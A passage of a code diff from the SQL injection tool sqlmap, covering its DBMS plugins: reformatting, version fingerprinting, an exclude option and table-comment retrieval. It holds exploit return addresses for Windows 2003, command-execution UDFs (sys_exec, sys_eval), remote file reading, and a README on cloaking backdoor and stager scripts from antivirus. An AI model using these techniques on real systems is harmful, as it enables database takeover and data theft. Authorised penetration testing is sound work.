+            "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),
 
-                    # 2003 Service Pack 2 updated at 12/2008
+            # 2003 Service Pack 2 updated at 12/2008
-                    #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
+            # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),
 
-                    # 2003 Service Pack 2 updated at 05/2009
+            # 2003 Service Pack 2 updated at 05/2009
-                    "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
+            "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
+
+            # 2003 Service Pack 2 updated at 09/2009
+            # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
+        }
 
-                    # 2003 Service Pack 2 updated at 09/2009
-                    #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
-                  }
         addrs = None
 
         for versionSp, data in returns.items():

plugins/dbms/mysql/__init__.py

@@ -23,11 +23,11 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take
     def __init__(self):
         self.excludeDbsList = MYSQL_SYSTEM_DBS
         self.sysUdfs = {
-                         # UDF name:    UDF return data-type
+            # UDF name: UDF return data-type
-                         "sys_exec":    { "return": "int" },
+            "sys_exec": {"return": "int"},
-                         "sys_eval":    { "return": "string" },
+            "sys_eval": {"return": "string"},
-                         "sys_bineval": { "return": "int" }
+            "sys_bineval": {"return": "int"}
-                       }
+        }
 
         Syntax.__init__(self)
         Fingerprint.__init__(self)

plugins/dbms/mysql/filesystem.py

@@ -14,6 +14,7 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
@@ -68,20 +69,20 @@ class Filesystem(GenericFilesystem):
                 raise SqlmapNoneDataException(warnMsg)
         else:
             length = int(length)
-            sustrLen = 1024
+            chunkSize = 1024
 
-            if length > sustrLen:
+            if length > chunkSize:
                 result = []
 
-                for i in xrange(1, length, sustrLen):
+                for i in xrange(1, length, chunkSize):
-                    chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
+                    chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
-
                     result.append(chunk)
             else:
                 result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
 
         return result
 
+    @stackedmethod
     def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
         logger.debug("encoding file to its hexadecimal string value")
 

plugins/dbms/mysql/fingerprint.py

@@ -41,18 +41,19 @@ class Fingerprint(GenericFingerprint):
 
         # Reference: https://downloads.mysql.com/archives/community/
         versions = (
-                     (32200, 32235),    # MySQL 3.22
+            (32200, 32235),  # MySQL 3.22
-                     (32300, 32359),    # MySQL 3.23
+            (32300, 32359),  # MySQL 3.23
-                     (40000, 40032),    # MySQL 4.0
+            (40000, 40032),  # MySQL 4.0
-                     (40100, 40131),    # MySQL 4.1
+            (40100, 40131),  # MySQL 4.1
-                     (50000, 50096),    # MySQL 5.0
+            (50000, 50096),  # MySQL 5.0
-                     (50100, 50172),    # MySQL 5.1
+            (50100, 50172),  # MySQL 5.1
-                     (50400, 50404),    # MySQL 5.4
+            (50400, 50404),  # MySQL 5.4
-                     (50500, 50554),    # MySQL 5.5
+            (50500, 50558),  # MySQL 5.5
-                     (50600, 50635),    # MySQL 5.6
+            (50600, 50638),  # MySQL 5.6
-                     (50700, 50717),    # MySQL 5.7
+            (50700, 50720),  # MySQL 5.7
-                     (60000, 60014),    # MySQL 6.0
+            (60000, 60014),  # MySQL 6.0
-                   )
+            (80000, 80003),  # MySQL 8.0
+        )
 
         index = -1
         for i in xrange(len(versions)):

plugins/dbms/mysql/takeover.py

@@ -67,10 +67,10 @@ class Takeover(GenericTakeover):
         # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
         # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
         else:
-            #logger.debug("retrieving MySQL data directory absolute path")
+            # logger.debug("retrieving MySQL data directory absolute path")
 
             # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
-            #self.__datadir = inject.getValue("SELECT @@datadir")
+            # self.__datadir = inject.getValue("SELECT @@datadir")
 
             # NOTE: specifying the relative path as './udf.dll'
             # saves in @@datadir on both MySQL 4.1 and MySQL 5.0

plugins/dbms/oracle/connector.py

@@ -12,6 +12,7 @@ except:
 
 import logging
 import os
+import re
 
 from lib.core.convert import utf8encode
 from lib.core.data import conf
@@ -23,10 +24,10 @@ os.environ["NLS_LANG"] = ".AL32UTF8"
 
 class Connector(GenericConnector):
     """
-    Homepage: http://cx-oracle.sourceforge.net/
+    Homepage: https://oracle.github.io/python-cx_Oracle/
-    User guide: http://cx-oracle.sourceforge.net/README.txt
+    User https://cx-oracle.readthedocs.io/en/latest/
-    API: http://cx-oracle.sourceforge.net/html/index.html
+    API: https://wiki.python.org/moin/DatabaseProgramming
-    License: http://cx-oracle.sourceforge.net/LICENSE.txt
+    License: https://cx-oracle.readthedocs.io/en/latest/license.html#license
     """
 
     def __init__(self):
@@ -42,7 +43,13 @@ class Connector(GenericConnector):
         try:
             self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
             logger.info("successfully connected as SYSDBA")
-        except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError):
+        except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex:
+            if "Oracle Client library" in str(ex):
+                msg = re.sub(r"DPI-\d+:\s+", "", str(ex))
+                msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg)
+                msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg)
+                raise SqlmapConnectionException(msg)
+
             try:
                 self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password)
             except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg:

plugins/dbms/postgresql/__init__.py

@@ -23,12 +23,12 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous,
     def __init__(self):
         self.excludeDbsList = PGSQL_SYSTEM_DBS
         self.sysUdfs = {
-                         # UDF name:     UDF parameters' input data-type and return data-type
+            # UDF name: UDF parameters' input data-type and return data-type
-                         "sys_exec":     { "input":  ["text"], "return": "int4" },
+            "sys_exec": {"input": ["text"], "return": "int4"},
-                         "sys_eval":     { "input":  ["text"], "return": "text" },
+            "sys_eval": {"input": ["text"], "return": "text"},
-                         "sys_bineval":  { "input":  ["text"], "return": "int4" },
+            "sys_bineval": {"input": ["text"], "return": "int4"},
-                         "sys_fileread": { "input":  ["text"], "return": "text" }
+            "sys_fileread": {"input": ["text"], "return": "text"}
-                       }
+        }
 
         Syntax.__init__(self)
         Fingerprint.__init__(self)

plugins/dbms/postgresql/fingerprint.py

@@ -60,7 +60,7 @@ class Fingerprint(GenericFingerprint):
         """
         References for fingerprint:
 
-        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
+        * https://www.postgresql.org/docs/current/static/release.html
         """
 
         if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES):
@@ -97,8 +97,12 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
             logger.info(infoMsg)
 
-            if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
+            if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
-                Backend.setVersion(">= 9.5.0")
+                Backend.setVersion(">= 10.0")
+            elif inject.checkBooleanExpression("SIND(0)=0"):
+                Backend.setVersion(">= 9.6.0", "< 10.0")
+            elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
+                Backend.setVersion(">= 9.5.0", "< 9.6.0")
             elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
                 Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
             elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):

plugins/dbms/postgresql/syntax.py

@@ -22,6 +22,6 @@ class Syntax(GenericSyntax):
         """
 
         def escaper(value):
-            return "(%s)"  % "||".join("CHR(%d)" % ord(_) for _ in value)  # Postgres CHR() function already accepts Unicode code point of character(s)
+            return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value)  # Postgres CHR() function already accepts Unicode code point of character(s)
 
         return Syntax._escape(expression, quote, escaper)

plugins/dbms/sqlite/connector.py

@@ -19,7 +19,6 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapMissingDependence
 from plugins.generic.connector import Connector as GenericConnector
 
-
 class Connector(GenericConnector):
     """
     Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite

plugins/dbms/sybase/connector.py

@@ -43,6 +43,8 @@ class Connector(GenericConnector):
             self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
         except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
             raise SqlmapConnectionException(msg)
+        except ValueError:
+            raise SqlmapConnectionException
 
         self.initCursor()
         self.printConnected()

plugins/dbms/sybase/enumeration.py

@@ -176,7 +176,7 @@ class Enumeration(GenericEnumeration):
             conf.db = self.getCurrentDb()
 
         elif conf.db is not None:
-            if  ',' in conf.db:
+            if ',' in conf.db:
                 errMsg = "only one database name is allowed when enumerating "
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -188,8 +188,8 @@ class Enumeration(GenericEnumeration):
         else:
             colList = []
 
-        if conf.excludeCol:
+        if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

plugins/generic/databases.py

@@ -23,6 +23,7 @@ from lib.core.common import pushValue
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
@@ -31,6 +32,7 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FIREBIRD_TYPES
 from lib.core.dicts import INFORMIX_TYPES
 from lib.core.enums import CHARSET_TYPE
@@ -288,6 +290,24 @@ class Databases:
                     db = safeSQLIdentificatorNaming(db)
                     table = safeSQLIdentificatorNaming(unArrayizeValue(table), True)
 
+                    if conf.getComments:
+                        _ = queries[Backend.getIdentifiedDbms()].table_comment
+                        if hasattr(_, "query"):
+                            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+                                query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
+                            else:
+                                query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
+
+                            comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
+                            if not isNoneValue(comment):
+                                infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
+                                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
+                                logger.info(infoMsg)
+                        else:
+                            warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
+                            warnMsg += "possible to get column comments"
+                            singleTimeWarnMessage(warnMsg)
+
                     if db not in kb.data.cachedTables:
                         kb.data.cachedTables[db] = [table]
                     else:
@@ -298,7 +318,11 @@ class Databases:
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
                     logger.info(infoMsg)
+                    continue
 
+                if conf.exclude and db in conf.exclude.split(','):
+                    infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
+                    singleTimeLogMessage(infoMsg)
                     continue
 
                 infoMsg = "fetching number of tables for "
@@ -347,6 +371,24 @@ class Databases:
                         table = safeSQLIdentificatorNaming(table, True)
                         tables.append(table)
 
+                        if conf.getComments:
+                            _ = queries[Backend.getIdentifiedDbms()].table_comment
+                            if hasattr(_, "query"):
+                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+                                    query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
+                                else:
+                                    query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
+
+                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
+                                if not isNoneValue(comment):
+                                    infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
+                                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
+                                    logger.info(infoMsg)
+                            else:
+                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
+                                warnMsg += "possible to get column comments"
+                                singleTimeWarnMessage(warnMsg)
+
                 if tables:
                     kb.data.cachedTables[db] = tables
                 else:
@@ -395,7 +437,7 @@ class Databases:
             if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.db = conf.db.upper()
 
-            if  ',' in conf.db:
+            if ',' in conf.db:
                 errMsg = "only one database name is allowed when enumerating "
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -410,8 +452,8 @@ class Databases:
         else:
             colList = []
 
-        if conf.excludeCol:
+        if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
@@ -658,8 +700,7 @@ class Databases:
                     query += condQuery
 
                 elif Backend.isDbms(DBMS.MSSQL):
-                    query = rootQuery.blind.count % (conf.db, conf.db, \
+                    query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
-                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                     query += condQuery.replace("[DB]", conf.db)
 
                 elif Backend.isDbms(DBMS.FIREBIRD):
@@ -758,8 +799,7 @@ class Databases:
                             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
                             elif Backend.isDbms(DBMS.MSSQL):
-                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
+                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
-                                                                conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                             elif Backend.isDbms(DBMS.FIREBIRD):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
                             elif Backend.isDbms(DBMS.INFORMIX):
@@ -803,6 +843,7 @@ class Databases:
 
         return kb.data.cachedColumns
 
+    @stackedmethod
     def getSchema(self):
         infoMsg = "enumerating database management system schema"
         logger.info(infoMsg)
@@ -818,10 +859,7 @@ class Databases:
             self.getTables()
 
             infoMsg = "fetched tables: "
-            infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
+            infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()])
-                    Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
-                    else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
-                    kb.data.cachedTables.items()])
             logger.info(infoMsg)
 
             for db, tables in kb.data.cachedTables.items():

plugins/generic/entries.py

@@ -22,6 +22,8 @@ from lib.core.common import isTechniqueAvailable
 from lib.core.common import prioritySortColumns
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import singleTimeLogMessage
+from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
@@ -68,11 +70,16 @@ class Entries:
             if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.db = conf.db.upper()
 
-            if  ',' in conf.db:
+            if ',' in conf.db:
                 errMsg = "only one database name is allowed when enumerating "
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
 
+            if conf.exclude and conf.db in conf.exclude.split(','):
+                infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
+                singleTimeLogMessage(infoMsg)
+                return
+
         conf.db = safeSQLIdentificatorNaming(conf.db)
 
         if conf.tbl:
@@ -99,6 +106,14 @@ class Entries:
             tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
 
         for tbl in tblList:
+            if kb.dumpKeyboardInterrupt:
+                break
+
+            if conf.exclude and tbl in conf.exclude.split(','):
+                infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
+                singleTimeLogMessage(infoMsg)
+                continue
+
             conf.tbl = tbl
             kb.data.dumpedTable = {}
 
@@ -129,8 +144,8 @@ class Entries:
                 columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                 colList = sorted(filter(None, columns.keys()))
 
-                if conf.excludeCol:
+                if conf.exclude:
-                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
                 if not colList:
                     warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
@@ -170,7 +185,11 @@ class Entries:
                         if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                             table = "%s.%s" % (conf.db, tbl)
 
-                            if Backend.isDbms(DBMS.MSSQL):
+                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
+                                warnMsg = "in case of table dumping problems (e.g. column entry order) "
+                                warnMsg += "you are advised to rerun with '--force-pivoting'"
+                                singleTimeWarnMessage(warnMsg)
+
                                 query = rootQuery.blind.count % table
                                 query = agent.whereQuery(query)
 
@@ -313,7 +332,11 @@ class Entries:
                         elif Backend.isDbms(DBMS.INFORMIX):
                             table = "%s:%s" % (conf.db, tbl)
 
-                        if Backend.isDbms(DBMS.MSSQL):
+                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
+                            warnMsg = "in case of table dumping problems (e.g. column entry order) "
+                            warnMsg += "you are advised to rerun with '--force-pivoting'"
+                            singleTimeWarnMessage(warnMsg)
+
                             try:
                                 indexRange = getLimitRange(count, plusOne=True)
 
@@ -459,12 +482,17 @@ class Entries:
 
         if kb.data.cachedTables:
             if isinstance(kb.data.cachedTables, list):
-                kb.data.cachedTables = { None: kb.data.cachedTables }
+                kb.data.cachedTables = {None: kb.data.cachedTables}
 
             for db, tables in kb.data.cachedTables.items():
                 conf.db = db
 
                 for table in tables:
+                    if conf.exclude and table in conf.exclude.split(','):
+                        infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
+                        logger.info(infoMsg)
+                        continue
+
                     try:
                         conf.tbl = table
                         kb.data.cachedColumns = {}
@@ -530,8 +558,8 @@ class Entries:
                 conf.tbl = table
                 colList = filter(None, sorted(columns))
 
-                if conf.excludeCol:
+                if conf.exclude:
-                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
                 conf.col = ','.join(colList)
                 kb.data.cachedColumns = {}

plugins/generic/filesystem.py

@@ -49,7 +49,7 @@ class Filesystem:
 
         elif Backend.isDbms(DBMS.MSSQL):
             self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
-            inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));
+            inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
 
             lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
 

plugins/generic/search.py

@@ -371,8 +371,8 @@ class Search:
         infoMsgDb = ""
         colList = conf.col.split(',')
 
-        if conf.excludeCol:
+        if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
         origTbl = conf.tbl
         origDb = conf.db

shell/README.txt

@@ -1,7 +1,7 @@
 Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
 
 To prepare the original scripts to the cloaked form use this command:
-find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
 
 To get back them into the original form use this:
-find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;